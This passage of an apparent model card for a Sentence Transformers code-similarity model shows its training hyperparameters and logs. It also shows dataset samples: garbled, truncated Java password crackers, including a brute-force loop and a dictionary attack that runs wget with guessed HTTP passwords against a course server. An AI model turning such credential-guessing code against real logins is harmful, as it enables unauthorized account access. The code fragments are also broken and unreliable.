doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try ...
  0	import java.util.*; public class Cracker { private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private Vector v; public Cracker() { v = new Vector( 52); } public void loadLetters() { int i; for( i = 0; i < letters.length; i++) { String s = new StringBuffer().append( letters[i]).toString(); v.add( s); } } public Vector getVictor() { return ; } public void loadPairs() { int i,j; for( i = 0; i < letters.length - 1; i++) { for( j = i + 1; j < letters.length; j++) { String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString(); String s2 = new StringBuffer().append( letters[j]).append( letters[i])....	import java.; import java.io.; import java.util.; public class BruteForce { public final static int TOTAL_TIMES=5252*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try ...
  0	import java.io.; import java.; import java.util.StringTokenizer; public class Dictionary { public static void main(String args[]) { final String DICT_FILE = "/usr/share/lib/dict/words"; String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; String password; String s = null; int num_tries = 0; try { BufferedReader dict_word = new BufferedReader (new FileReader (DICT_FILE)); while((password = dict_word.readLine())!= null) { try { Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.g...	import java.; import java.io.; import java.util.; public class BruteForce { public final static int TOTAL_TIMES=5252*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try ...

• Loss: SoftmaxLoss

Training Hyperparameters

Non-Default Hyperparameters

• per_device_train_batch_size: 32
• num_train_epochs: 2

All Hyperparameters

Click to expand

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: no
• prediction_loss_only: True
• per_device_train_batch_size: 32
• per_device_eval_batch_size: 8
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1.0
• num_train_epochs: 2
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: False
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: proportional

Training Logs

Epoch	Step	Training Loss
0.4785	500	0.0175
0.9569	1000	0.012
1.4354	1500	0.0098
1.9139	2000	0.0037

Framework Versions

• Python: 3.11.11
• Sentence Transformers: 4.1.0
• Transformers: 4.52.4
• PyTorch: 2.8.0.dev20250319+cu128
• Accelerate: 1.7.0
• Datasets: 3.6.0
• Tokenizers: 0.21.1

Citation

BibTeX

Sentence Transformers and SoftmaxLoss

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}